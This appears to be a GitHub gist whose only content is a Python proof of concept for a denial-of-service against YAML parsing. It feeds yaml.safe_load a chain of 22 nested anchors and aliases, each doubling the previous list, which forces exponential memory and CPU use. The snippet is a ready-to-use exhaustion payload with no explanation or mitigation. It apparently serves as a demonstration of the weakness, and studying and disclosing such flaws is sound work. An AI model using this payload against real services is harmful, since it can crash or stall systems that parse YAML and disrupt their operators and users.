Skip to content

Instantly share code, notes, and snippets.

@tahajahangir
Created January 12, 2015 06:07
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save tahajahangir/c079bf554786b7a68310 to your computer and use it in GitHub Desktop.
Save tahajahangir/c079bf554786b7a68310 to your computer and use it in GitHub Desktop.
Yaml load denial-of-service using alias feature
import yaml
yaml.safe_load("""
- &a '1'
- &b [*a,*a]
- &c [*b,*b]
- &d [*c,*c]
- &e [*d,*d]
- &f [*e,*e]
- &g [*f,*f]
- &h [*g,*g]
- &i [*h,*h]
- &j [*i,*i]
- &k [*j,*j]
- &l [*k,*k]
- &m [*l,*l]
- &n [*m,*m]
- &o [*n,*n]
- &p [*o,*o]
- &q [*p,*p]
- &r [*q,*q]
- &s [*r,*r]
- &t [*s,*s]
- &u [*t,*t]
- &v [*u,*u]
""")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment